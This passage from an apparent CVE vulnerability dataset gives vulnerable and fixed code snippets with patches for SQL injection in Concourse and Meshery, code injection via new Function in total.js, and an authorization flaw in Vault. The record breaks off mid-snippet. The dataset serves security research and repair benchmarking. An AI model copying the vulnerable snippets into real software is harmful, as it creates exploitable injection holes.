psql.Insert(\"build_resource_config_version_outputs\").\n\t\tColumns(\"resource_id\", \"build_id\", \"version_md5\", \"name\").\n\t\tValues(resource.ID(), strconv.Itoa(b.id), sq.Expr(fmt.Sprintf(\"md5('%s')\", versionJSON)), sq.Expr(fmt.Sprintf(\"'%s'\", outputName))).\n\t\tSuffix(\"ON CONFLICT DO NOTHING\").\n\t\tRunWith(tx).\n\t\tExec()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = bumpCacheIndex(tx, b.pipelineID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = tx.Commit()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = bumpCacheIndexForPipelinesUsingResourceConfigScope(b.conn, resourceConfigScope.ID())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}"}, {"id": "vul_go_232_2", "commit": "fabee17", "file_path": "atc/db/build.go", "start_line": 1035, "end_line": 1049, "snippet": "func (p *build) saveInputTx(tx Tx, buildID int, input BuildInput) error {\n\tversionJSON, err := json.Marshal(input.Version)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = psql.Insert(\"build_resource_config_version_inputs\").\n\t\tColumns(\"build_id\", \"resource_id\", \"version_md5\", \"name\").\n\t\tValues(buildID, input.ResourceID, sq.Expr(fmt.Sprintf(\"md5('%s')\", versionJSON)), input.Name).\n\t\tSuffix(\"ON CONFLICT DO NOTHING\").\n\t\tRunWith(tx).\n\t\tExec()\n\n\treturn err\n}"}, {"id": "vul_go_232_3", "commit": "fabee17", "file_path": "atc/db/resource_config_scope.go", "start_line": 107, "end_line": 135, "snippet": "func (r *resourceConfigScope) FindVersion(v atc.Version) (ResourceConfigVersion, bool, error) {\n\trcv := &resourceConfigVersion{\n\t\tresourceConfigScope: r,\n\t\tconn:                r.conn,\n\t}\n\n\tversionByte, err := json.Marshal(v)\n\tif err != nil {\n\t\treturn nil, false, err\n\t}\n\n\trow := resourceConfigVersionQuery.\n\t\tWhere(sq.Eq{\n\t\t\t\"v.resource_config_scope_id\": r.id,\n\t\t}).\n\t\tWhere(sq.Expr(fmt.Sprintf(\"v.version_md5 = md5('%s')\", versionByte))).\n\t\tRunWith(r.conn).\n\t\tQueryRow()\n\n\terr = scanResourceConfigVersion(rcv, row)\n\tif err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn nil, false, nil\n\t\t}\n\t\treturn nil, false, err\n\t}\n\n\treturn rcv, true, nil\n}"}], "fix_func": [{"id": "fix_go_232_1", "commit": "dc3d15ab6c3a69890c9985f9c875d4c2949be727", "file_path": "atc/db/build.go", "start_line": 787, "end_line": 890, "snippet": "func (b *build) SaveOutput(\n\tlogger lager.Logger,\n\tresourceType string,\n\tsource atc.Source,\n\tresourceTypes creds.VersionedResourceTypes,\n\tversion atc.Version,\n\tmetadata ResourceConfigMetadataFields,\n\toutputName string,\n\tresourceName string,\n) error {\n\t// We should never save outputs for builds without a Pipeline ID because\n\t// One-off Builds will never have Put steps. This shouldn't happen, but\n\t// its best to return an error just in case\n\tif b.pipelineID == 0 {\n\t\treturn ErrBuildHasNoPipeline\n\t}\n\n\tpipeline, found, err := b.Pipeline()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !found {\n\t\treturn ErrBuildHasNoPipeline\n\t}\n\n\tresource, found, err := pipeline.Resource(resourceName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !found {\n\t\treturn ResourceNotFoundInPipeline{resource.Name(), b.pipelineName}\n\t}\n\n\ttx, err := b.conn.Begin()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer Rollback(tx)\n\n\tresourceConfigDescriptor, err := constructResourceConfigDescriptor(resourceType, source, resourceTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tresourceConfig, err := resourceConfigDescriptor.findOrCreate(logger, tx, b.lockFactory, b.conn)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tresourceConfigScope, err := findOrCreateResourceConfigScope(tx, b.conn, b.lockFactory, resourceConfig, resource, resourceTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tnewVersion, err := saveResourceVersion(tx, resourceConfigScope, version, metadata)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tversionBytes, err := json.Marshal(version)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tversionJSON := string(versionBytes)\n\n\tif newVersion {\n\t\terr = incrementCheckOrder(tx, resourceConfigScope, versionJSON)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t_, err = psql.Insert(\"build_resource_config_version_outputs\").\n\t\tColumns(\"resource_id\", \"build_id\", \"version_md5\", \"name\").\n\t\tValues(resource.ID(), strconv.Itoa(b.id), sq.Expr(\"md5(?)\", versionJSON), outputName).\n\t\tSuffix(\"ON CONFLICT DO NOTHING\").\n\t\tRunWith(tx).\n\t\tExec()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = bumpCacheIndex(tx, b.pipelineID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = tx.Commit()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = bumpCacheIndexForPipelinesUsingResourceConfigScope(b.conn, resourceConfigScope.ID())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}"}, {"id": "fix_go_232_2", "commit": "dc3d15ab6c3a69890c9985f9c875d4c2949be727", "file_path": "atc/db/build.go", "start_line": 1035, "end_line": 1049, "snippet": "func (p *build) saveInputTx(tx Tx, buildID int, input BuildInput) error {\n\tversionJSON, err := json.Marshal(input.Version)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = psql.Insert(\"build_resource_config_version_inputs\").\n\t\tColumns(\"build_id\", \"resource_id\", \"version_md5\", \"name\").\n\t\tValues(buildID, input.ResourceID, sq.Expr(\"md5(?)\", versionJSON), input.Name).\n\t\tSuffix(\"ON CONFLICT DO NOTHING\").\n\t\tRunWith(tx).\n\t\tExec()\n\n\treturn err\n}"}, {"id": "fix_go_232_3", "commit": "dc3d15ab6c3a69890c9985f9c875d4c2949be727", "file_path": "atc/db/resource_config_scope.go", "start_line": 106, "end_line": 134, "snippet": "func (r *resourceConfigScope) FindVersion(v atc.Version) (ResourceConfigVersion, bool, error) {\n\trcv := &resourceConfigVersion{\n\t\tresourceConfigScope: r,\n\t\tconn:                r.conn,\n\t}\n\n\tversionByte, err := json.Marshal(v)\n\tif err != nil {\n\t\treturn nil, false, err\n\t}\n\n\trow := resourceConfigVersionQuery.\n\t\tWhere(sq.Eq{\n\t\t\t\"v.resource_config_scope_id\": r.id,\n\t\t}).\n\t\tWhere(sq.Expr(\"v.version_md5 = md5(?)\", versionByte)).\n\t\tRunWith(r.conn).\n\t\tQueryRow()\n\n\terr = scanResourceConfigVersion(rcv, row)\n\tif err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn nil, false, nil\n\t\t}\n\t\treturn nil, false, err\n\t}\n\n\treturn rcv, true, nil\n}"}], "vul_patch": "--- a/atc/db/build.go\n+++ b/atc/db/build.go\n@@ -76,7 +76,7 @@\n \n \t_, err = psql.Insert(\"build_resource_config_version_outputs\").\n \t\tColumns(\"resource_id\", \"build_id\", \"version_md5\", \"name\").\n-\t\tValues(resource.ID(), strconv.Itoa(b.id), sq.Expr(fmt.Sprintf(\"md5('%s')\", versionJSON)), sq.Expr(fmt.Sprintf(\"'%s'\", outputName))).\n+\t\tValues(resource.ID(), strconv.Itoa(b.id), sq.Expr(\"md5(?)\", versionJSON), outputName).\n \t\tSuffix(\"ON CONFLICT DO NOTHING\").\n \t\tRunWith(tx).\n \t\tExec()\n\n--- a/atc/db/build.go\n+++ b/atc/db/build.go\n@@ -6,7 +6,7 @@\n \n \t_, err = psql.Insert(\"build_resource_config_version_inputs\").\n \t\tColumns(\"build_id\", \"resource_id\", \"version_md5\", \"name\").\n-\t\tValues(buildID, input.ResourceID, sq.Expr(fmt.Sprintf(\"md5('%s')\", versionJSON)), input.Name).\n+\t\tValues(buildID, input.ResourceID, sq.Expr(\"md5(?)\", versionJSON), input.Name).\n \t\tSuffix(\"ON CONFLICT DO NOTHING\").\n \t\tRunWith(tx).\n \t\tExec()\n\n--- a/atc/db/resource_config_scope.go\n+++ b/atc/db/resource_config_scope.go\n@@ -13,7 +13,7 @@\n \t\tWhere(sq.Eq{\n \t\t\t\"v.resource_config_scope_id\": r.id,\n \t\t}).\n-\t\tWhere(sq.Expr(fmt.Sprintf(\"v.version_md5 = md5('%s')\", versionByte))).\n+\t\tWhere(sq.Expr(\"v.version_md5 = md5(?)\", versionByte)).\n \t\tRunWith(r.conn).\n \t\tQueryRow()\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-32831", "cve_description": "Total.js framework (npm package total.js) is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. In total.js framework before version 3.4.9, calling the utils.set function with user-controlled values leads to code-injection. This can cause a variety of impacts that include arbitrary code execution. This is fixed in version 3.4.9.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/totaljs/framework", "patch_url": ["https://github.com/totaljs/framework/commit/887b0fa9e162ef7a2dd9cec20a5ca122726373b3"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_130_1", "commit": "2fe92a6", "file_path": "utils.js", "start_line": 6620, "end_line": 6645, "snippet": "exports.set = function(obj, path, value) {\n\tvar cachekey = 'S+' + path;\n\n\tif (F.temporary.other[cachekey])\n\t\treturn F.temporary.other[cachekey](obj, value);\n\n\tvar arr = parsepath(path);\n\tvar builder = [];\n\n\tfor (var i = 0; i < arr.length - 1; i++) {\n\t\tvar type = arr[i + 1] ? (REGISARR.test(arr[i + 1]) ? '[]' : '{}') : '{}';\n\t\tvar p = 'w' + (arr[i][0] === '[' ? '' : '.') + arr[i];\n\t\tbuilder.push('if(typeof(' + p + ')!==\\'object\\'||' + p + '==null)' + p + '=' + type + ';');\n\t}\n\n\tvar v = arr[arr.length - 1];\n\tvar ispush = v.lastIndexOf('[]') !== -1;\n\tvar a = builder.join(';') + ';var v=typeof(a)===\\'function\\'?a(U.get(b)):a;w' + (v[0] === '[' ? '' : '.') + (ispush ? v.replace(REGREPLACEARR, '.push(v)') : (v + '=v')) + ';return v';\n\n\tif ((/__proto__|constructor|prototype|eval/).test(a))\n\t\tthrow new Error('Potential vulnerability');\n\n\tvar fn = new Function('w', 'a', 'b', a);\n\tF.temporary.other[cachekey] = fn;\n\tfn(obj, value, path);\n};"}, {"id": "vul_js_130_2", "commit": "2fe92a6", "file_path": "utils.js", "start_line": 6647, "end_line": 6664, "snippet": "exports.get = function(obj, path) {\n\n\tvar cachekey = 'G=' + path;\n\n\tif (F.temporary.other[cachekey])\n\t\treturn F.temporary.other[cachekey](obj);\n\n\tvar arr = parsepath(path);\n\tvar builder = [];\n\n\tfor (var i = 0, length = arr.length - 1; i < length; i++)\n\t\tbuilder.push('if(!w' + (!arr[i] || arr[i][0] === '[' ? '' : '.') + arr[i] + ')return');\n\n\tvar v = arr[arr.length - 1];\n\tvar fn = (new Function('w', builder.join(';') + ';return w' + (v[0] === '[' ? '' : '.') + v));\n\tF.temporary.other[cachekey] = fn;\n\treturn fn(obj);\n};"}], "fix_func": [{"id": "fix_js_130_1", "commit": "887b0fa", "file_path": "utils.js", "start_line": 6621, "end_line": 6646, "snippet": "exports.set = function(obj, path, value) {\n\tvar cachekey = 'S+' + path;\n\n\tif (F.temporary.other[cachekey])\n\t\treturn F.temporary.other[cachekey](obj, value);\n\n\tif ((/__proto__|constructor|prototype|eval|function|\\*|\\+|;|\\s|\\(|\\)|!/).test(path))\n\t\treturn value;\n\n\tvar arr = parsepath(path);\n\tvar builder = [];\n\n\tfor (var i = 0; i < arr.length - 1; i++) {\n\t\tvar type = arr[i + 1] ? (REGISARR.test(arr[i + 1]) ? '[]' : '{}') : '{}';\n\t\tvar p = 'w' + (arr[i][0] === '[' ? '' : '.') + arr[i];\n\t\tbuilder.push('if(typeof(' + p + ')!==\\'object\\'||' + p + '==null)' + p + '=' + type + ';');\n\t}\n\n\tvar v = arr[arr.length - 1];\n\tvar ispush = v.lastIndexOf('[]') !== -1;\n\tvar a = builder.join(';') + ';var v=typeof(a)===\\'function\\'?a(U.get(b)):a;w' + (v[0] === '[' ? '' : '.') + (ispush ? v.replace(REGREPLACEARR, '.push(v)') : (v + '=v')) + ';return v';\n\n\tvar fn = new Function('w', 'a', 'b', a);\n\tF.temporary.other[cachekey] = fn;\n\treturn fn(obj, value, path);\n};"}, {"id": "fix_js_130_2", "commit": "887b0fa", "file_path": "utils.js", "start_line": 6648, "end_line": 6668, "snippet": "exports.get = function(obj, path) {\n\n\tvar cachekey = 'G=' + path;\n\n\tif (F.temporary.other[cachekey])\n\t\treturn F.temporary.other[cachekey](obj);\n\n\tif ((/__proto__|constructor|prototype|eval|function|\\*|\\+|;|\\s|\\(|\\)|!/).test(path))\n\t\treturn;\n\n\tvar arr = parsepath(path);\n\tvar builder = [];\n\n\tfor (var i = 0, length = arr.length - 1; i < length; i++)\n\t\tbuilder.push('if(!w' + (!arr[i] || arr[i][0] === '[' ? '' : '.') + arr[i] + ')return');\n\n\tvar v = arr[arr.length - 1];\n\tvar fn = (new Function('w', builder.join(';') + ';return w' + (v[0] === '[' ? '' : '.') + v));\n\tF.temporary.other[cachekey] = fn;\n\treturn fn(obj);\n};"}], "vul_patch": "--- a/utils.js\n+++ b/utils.js\n@@ -3,6 +3,9 @@\n \n \tif (F.temporary.other[cachekey])\n \t\treturn F.temporary.other[cachekey](obj, value);\n+\n+\tif ((/__proto__|constructor|prototype|eval|function|\\*|\\+|;|\\s|\\(|\\)|!/).test(path))\n+\t\treturn value;\n \n \tvar arr = parsepath(path);\n \tvar builder = [];\n@@ -17,10 +20,7 @@\n \tvar ispush = v.lastIndexOf('[]') !== -1;\n \tvar a = builder.join(';') + ';var v=typeof(a)===\\'function\\'?a(U.get(b)):a;w' + (v[0] === '[' ? '' : '.') + (ispush ? v.replace(REGREPLACEARR, '.push(v)') : (v + '=v')) + ';return v';\n \n-\tif ((/__proto__|constructor|prototype|eval/).test(a))\n-\t\tthrow new Error('Potential vulnerability');\n-\n \tvar fn = new Function('w', 'a', 'b', a);\n \tF.temporary.other[cachekey] = fn;\n-\tfn(obj, value, path);\n+\treturn fn(obj, value, path);\n };\n\n--- a/utils.js\n+++ b/utils.js\n@@ -4,6 +4,9 @@\n \n \tif (F.temporary.other[cachekey])\n \t\treturn F.temporary.other[cachekey](obj);\n+\n+\tif ((/__proto__|constructor|prototype|eval|function|\\*|\\+|;|\\s|\\(|\\)|!/).test(path))\n+\t\treturn;\n \n \tvar arr = parsepath(path);\n \tvar builder = [];\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-29031", "cve_description": "Meshery is an open source, cloud native manager that enables the design and management of Kubernetes-based infrastructure and applications. A SQL injection vulnerability in Meshery prior to version 0.7.17 allows a remote attacker to obtain sensitive information via the `order` parameter of `GetMeshSyncResources`. Version 0.7.17 contains a patch for this issue.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/meshery/meshery", "patch_url": ["https://github.com/meshery/meshery/commit/8e995ce21af02d32ef61689c1e1748a745917f13"], "programing_language": "Go", "vul_func": [{"id": "vul_go_199_1", "commit": "4b4ef64", "file_path": "server/handlers/meshsync_handler.go", "start_line": 42, "end_line": 168, "snippet": "func (h *Handler) GetMeshSyncResources(rw http.ResponseWriter, r *http.Request, _ *models.Preference, _ *models.User, provider models.Provider) {\n\trw.Header().Set(\"Content-Type\", \"application/json\")\n\tenc := json.NewEncoder(rw)\n\n\tvar resources []model.KubernetesResource\n\tvar totalCount int64\n\tlimitstr := r.URL.Query().Get(\"pagesize\")\n\tvar limit int\n\tif limitstr != \"all\" {\n\t\tlimit, _ = strconv.Atoi(limitstr)\n\t\tif limit <= 0 {\n\t\t\tlimit = defaultPageSize\n\t\t}\n\t}\n\n\tpagestr := r.URL.Query().Get(\"page\")\n\tpage, _ := strconv.Atoi(pagestr)\n\n\tif page <= 0 {\n\t\tpage = 1\n\t}\n\n\toffset := (page - 1) * limit\n\torder := r.URL.Query().Get(\"order\")\n\tsort := r.URL.Query().Get(\"sort\")\n\tsearch := r.URL.Query().Get(\"search\")\n\tapiVersion := r.URL.Query().Get(\"apiVersion\")\n\tspec, _ := strconv.ParseBool(r.URL.Query().Get(\"spec\"))\n\tstatus, _ := strconv.ParseBool(r.URL.Query().Get(\"status\"))\n\tisAnnotaion, _ := strconv.ParseBool(r.URL.Query().Get(\"annotations\"))\n\tisLabels, _ := strconv.ParseBool(r.URL.Query().Get(\"labels\"))\n\tkind := r.URL.Query().Get(\"kind\")\n\n\tfilter := struct {\n\t\tClusterIds []string `json:\"clusterIds\"`\n\t}{}\n\n\tclusterIds := r.URL.Query().Get(\"clusterIds\")\n\tif clusterIds != \"\" {\n\t\terr := json.Unmarshal([]byte(clusterIds), &filter.ClusterIds)\n\t\tif err != nil {\n\t\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tfilter.ClusterIds = []string{}\n\t}\n\n\tresult := provider.GetGenericPersister().Model(&model.KubernetesResource{}).\n\t\tPreload(\"KubernetesResourceMeta\").\n\t\tWhere(\"kubernetes_resources.cluster_id IN (?)\", filter.ClusterIds)\n\n\tif kind != \"\" {\n\t\tresult = result.Where(&model.KubernetesResource{Kind: kind})\n\t}\n\n\tif apiVersion != \"\" {\n\t\tresult = result.Where(&model.KubernetesResource{APIVersion: apiVersion})\n\t}\n\n\tif isLabels {\n\t\tresult = result.Preload(\"KubernetesResourceMeta.Labels\", \"kind = ?\", model.KindLabel)\n\t}\n\tif isAnnotaion {\n\t\tresult = result.Preload(\"KubernetesResourceMeta.Annotations\", \"kind = ?\", model.KindAnnotation)\n\t}\n\n\tif spec {\n\t\tresult = result.Preload(\"Spec\")\n\t}\n\n\tif status {\n\t\tresult = result.Preload(\"Status\")\n\t}\n\n\tif search != \"\" {\n\n\t\tresult = result.\n\t\t\tJoins(\"JOIN kubernetes_resource_object_meta ON kubernetes_resource_object_meta.id = kubernetes_resources.id\").\n\t\t\tWhere(\"kubernetes_resource_object_meta.name LIKE ?\", \"%\"+search+\"%\")\n\t}\n\n\tresult.Count(&totalCount)\n\n\tif limit != 0 {\n\t\tresult = result.Limit(limit)\n\t}\n\n\tif offset != 0 {\n\t\tresult = result.Offset(offset)\n\t}\n\n\tif order != \"\" {\n\t\tif sort == \"desc\" {\n\t\t\tresult = result.Order(clause.OrderByColumn{Column: clause.Column{Name: order}, Desc: true})\n\t\t} else {\n\t\t\tresult = result.Order(order)\n\t\t}\n\t}\n\n\terr := result.Find(&resources).Error\n\tif err != nil {\n\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tvar pgSize int\n\tif limitstr == \"all\" {\n\t\tpgSize = len(resources)\n\t} else {\n\t\tpgSize = limit\n\t}\n\n\tresponse := &models.MeshSyncResourcesAPIResponse{\n\t\tPage:       page,\n\t\tPageSize:   pgSize,\n\t\tTotalCount: totalCount,\n\t\tResources:  resources,\n\t}\n\n\tif err := enc.Encode(response); err != nil {\n\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t}\n}"}], "fix_func": [{"id": "fix_go_199_1", "commit": "8e995ce21af02d32ef61689c1e1748a745917f13", "file_path": "server/handlers/meshsync_handler.go", "start_line": 42, "end_line": 169, "snippet": "func (h *Handler) GetMeshSyncResources(rw http.ResponseWriter, r *http.Request, _ *models.Preference, _ *models.User, provider models.Provider) {\n\trw.Header().Set(\"Content-Type\", \"application/json\")\n\tenc := json.NewEncoder(rw)\n\n\tvar resources []model.KubernetesResource\n\tvar totalCount int64\n\tlimitstr := r.URL.Query().Get(\"pagesize\")\n\tvar limit int\n\tif limitstr != \"all\" {\n\t\tlimit, _ = strconv.Atoi(limitstr)\n\t\tif limit <= 0 {\n\t\t\tlimit = defaultPageSize\n\t\t}\n\t}\n\n\tpagestr := r.URL.Query().Get(\"page\")\n\tpage, _ := strconv.Atoi(pagestr)\n\n\tif page <= 0 {\n\t\tpage = 1\n\t}\n\n\toffset := (page - 1) * limit\n\torder := r.URL.Query().Get(\"order\")\n\tsort := r.URL.Query().Get(\"sort\")\n\tsearch := r.URL.Query().Get(\"search\")\n\tapiVersion := r.URL.Query().Get(\"apiVersion\")\n\tspec, _ := strconv.ParseBool(r.URL.Query().Get(\"spec\"))\n\tstatus, _ := strconv.ParseBool(r.URL.Query().Get(\"status\"))\n\tisAnnotaion, _ := strconv.ParseBool(r.URL.Query().Get(\"annotations\"))\n\tisLabels, _ := strconv.ParseBool(r.URL.Query().Get(\"labels\"))\n\tkind := r.URL.Query().Get(\"kind\")\n\n\tfilter := struct {\n\t\tClusterIds []string `json:\"clusterIds\"`\n\t}{}\n\n\tclusterIds := r.URL.Query().Get(\"clusterIds\")\n\tif clusterIds != \"\" {\n\t\terr := json.Unmarshal([]byte(clusterIds), &filter.ClusterIds)\n\t\tif err != nil {\n\t\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tfilter.ClusterIds = []string{}\n\t}\n\n\tresult := provider.GetGenericPersister().Model(&model.KubernetesResource{}).\n\t\tPreload(\"KubernetesResourceMeta\").\n\t\tWhere(\"kubernetes_resources.cluster_id IN (?)\", filter.ClusterIds)\n\n\tif kind != \"\" {\n\t\tresult = result.Where(&model.KubernetesResource{Kind: kind})\n\t}\n\n\tif apiVersion != \"\" {\n\t\tresult = result.Where(&model.KubernetesResource{APIVersion: apiVersion})\n\t}\n\n\tif isLabels {\n\t\tresult = result.Preload(\"KubernetesResourceMeta.Labels\", \"kind = ?\", model.KindLabel)\n\t}\n\tif isAnnotaion {\n\t\tresult = result.Preload(\"KubernetesResourceMeta.Annotations\", \"kind = ?\", model.KindAnnotation)\n\t}\n\n\tif spec {\n\t\tresult = result.Preload(\"Spec\")\n\t}\n\n\tif status {\n\t\tresult = result.Preload(\"Status\")\n\t}\n\n\tif search != \"\" {\n\n\t\tresult = result.\n\t\t\tJoins(\"JOIN kubernetes_resource_object_meta ON kubernetes_resource_object_meta.id = kubernetes_resources.id\").\n\t\t\tWhere(\"kubernetes_resource_object_meta.name LIKE ?\", \"%\"+search+\"%\")\n\t}\n\n\tresult.Count(&totalCount)\n\n\tif limit != 0 {\n\t\tresult = result.Limit(limit)\n\t}\n\n\tif offset != 0 {\n\t\tresult = result.Offset(offset)\n\t}\n\n\torder = models.SanitizeOrderInput(order, []string{\"created_at\", \"updated_at\", \"name\"})\n\tif order != \"\" {\n\t\tif sort == \"desc\" {\n\t\t\tresult = result.Order(clause.OrderByColumn{Column: clause.Column{Name: order}, Desc: true})\n\t\t} else {\n\t\t\tresult = result.Order(order)\n\t\t}\n\t}\n\n\terr := result.Find(&resources).Error\n\tif err != nil {\n\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tvar pgSize int\n\tif limitstr == \"all\" {\n\t\tpgSize = len(resources)\n\t} else {\n\t\tpgSize = limit\n\t}\n\n\tresponse := &models.MeshSyncResourcesAPIResponse{\n\t\tPage:       page,\n\t\tPageSize:   pgSize,\n\t\tTotalCount: totalCount,\n\t\tResources:  resources,\n\t}\n\n\tif err := enc.Encode(response); err != nil {\n\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t}\n}"}], "vul_patch": "--- a/server/handlers/meshsync_handler.go\n+++ b/server/handlers/meshsync_handler.go\n@@ -91,6 +91,7 @@\n \t\tresult = result.Offset(offset)\n \t}\n \n+\torder = models.SanitizeOrderInput(order, []string{\"created_at\", \"updated_at\", \"name\"})\n \tif order != \"\" {\n \t\tif sort == \"desc\" {\n \t\t\tresult = result.Order(clause.OrderByColumn{Column: clause.Column{Name: order}, Desc: true})\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-10660", "cve_description": "HashiCorp Vault and Vault Enterprise versions 0.9.0 through 1.3.3 may, under certain circumstances, have an Entity's Group membership inadvertently include Groups the Entity no longer has permissions to. Fixed in 1.3.4.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/hashicorp/vault", "patch_url": ["https://github.com/hashicorp/vault/commit/18485ee9d4352ac8e8396c580b5941ccf8e5b31a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_179_1", "commit": "199ef39", "file_path": "vault/expiration.go", "start_line": 923, "end_line": 1036, "snippet": "func (m *ExpirationManager) RenewToken(ctx context.Context, req *logical.Request, te *logical.TokenEntry,\n\tincrement time.Duration) (*logical.Response, error) {\n\tdefer metrics.MeasureSince([]string{\"expire\", \"renew-token\"}, time.Now())\n\n\ttokenNS, err := NamespaceByID(ctx, te.NamespaceID, m.core)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif tokenNS == nil {\n\t\treturn nil, namespace.ErrNoNamespace\n\t}\n\n\tns, err := namespace.FromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif ns.ID != tokenNS.ID {\n\t\treturn nil, errors.New(\"cannot renew a token across namespaces\")\n\t}\n\n\t// Compute the Lease ID\n\tsaltedID, err := m.tokenStore.SaltID(ctx, te.ID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tleaseID := path.Join(te.Path, saltedID)\n\n\tif ns.ID != namespace.RootNamespaceID {\n\t\tleaseID = fmt.Sprintf(\"%s.%s\", leaseID, ns.ID)\n\t}\n\n\t// Load the entry\n\tle, err := m.loadEntry(ctx, leaseID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif le == nil {\n\t\treturn logical.ErrorResponse(\"invalid lease ID\"), logical.ErrInvalidRequest\n\t}\n\n\t// Check if the lease is renewable. Note that this also checks for a nil\n\t// lease and errors in that case as well.\n\tif _, err := le.renewable(); err != nil {\n\t\treturn logical.ErrorResponse(err.Error()), logical.ErrInvalidRequest\n\t}\n\n\t// Attempt to renew the auth entry\n\tresp, err := m.renewAuthEntry(ctx, req, le, increment)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp == nil {\n\t\treturn nil, nil\n\t}\n\tif resp.IsError() {\n\t\treturn &logical.Response{\n\t\t\tData: resp.Data,\n\t\t}, nil\n\t}\n\tif resp.Auth == nil {\n\t\treturn nil, nil\n\t}\n\n\tsysViewCtx := namespace.ContextWithNamespace(ctx, le.namespace)\n\tsysView := m.router.MatchingSystemView(sysViewCtx, le.Path)\n\tif sysView == nil {\n\t\treturn nil, fmt.Errorf(\"unable to retrieve system view from router\")\n\t}\n\n\tttl, warnings, err := framework.CalculateTTL(sysView, increment, resp.Auth.TTL, resp.Auth.Period, resp.Auth.MaxTTL, resp.Auth.ExplicitMaxTTL, le.IssueTime)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tretResp := &logical.Response{}\n\tfor _, warning := range warnings {\n\t\tretResp.AddWarning(warning)\n\t}\n\tresp.Auth.TTL = ttl\n\n\t// Attach the ClientToken\n\tresp.Auth.ClientToken = te.ID\n\n\t// Refresh groups\n\tif resp.Auth.EntityID != \"\" &&\n\t\tresp.Auth.GroupAliases != nil &&\n\t\tm.core.identityStore != nil {\n\t\tvalidAliases, err := m.core.identityStore.refreshExternalGroupMembershipsByEntityID(ctx, resp.Auth.EntityID, resp.Auth.GroupAliases)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresp.Auth.GroupAliases = validAliases\n\t}\n\n\t// Update the lease entry\n\tle.Auth = resp.Auth\n\tle.ExpireTime = resp.Auth.ExpirationTime()\n\tle.LastRenewalTime = 